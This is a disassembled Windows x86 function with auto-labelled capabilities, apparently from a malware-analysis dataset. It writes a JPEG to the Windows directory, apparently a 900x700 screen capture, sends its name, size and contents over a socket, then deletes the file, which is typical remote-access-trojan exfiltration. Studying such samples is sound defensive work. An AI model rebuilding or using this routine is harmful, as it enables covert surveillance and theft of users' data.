Function at 0x403438
Capabilities:
Check if file exists
Delete file
Get file attributes
Get file size
Query environment variable
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp], str.windir
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_temp.jpg
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x4034ee
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x80
setne al
test al, al
je 0x4034e0
mov dword [esp + 4], pe_nt_image_headers32
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
mov ebx, dword [0x42d49c]
mov ecx, dword [0x42d498]
mov edx, dword [0x42d494]
mov eax, dword [0x42d490]
mov dword [esp + 0x18], 0x2bc
mov dword [esp + 0x14], 0x384
mov esi, dword [ebp - 0xc]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00401861
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [0x42d1e8], eax
mov eax, dword [0x42d1e8]
cmp eax, 0xffffffff
je 0x403586
mov eax, dword [0x42d1e8]
test eax, eax
jne 0x4035b7
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [0x42d1e8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x4037d3
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x274c
je 0x4035cf
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2745
jne 0x4035d3
mov al, 1
jmp 0x4035d5
mov al, 0
test al, al
je 0x4035fa
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x4037d3
mov eax, dword [0x42d1e8]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.archivo_dimg.jpg
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [0x42d1e8]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x42d020
mov edx, dword [ebp - 0x14]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [0x42d1e8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x4036f2
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x4037d3
mov edx, dword [ebp - 0x14]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x403751
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x4037d3
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x4037c4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x80
setne al
test al, al
je 0x4037b6
mov dword [esp + 4], pe_nt_image_headers32
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
nop
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret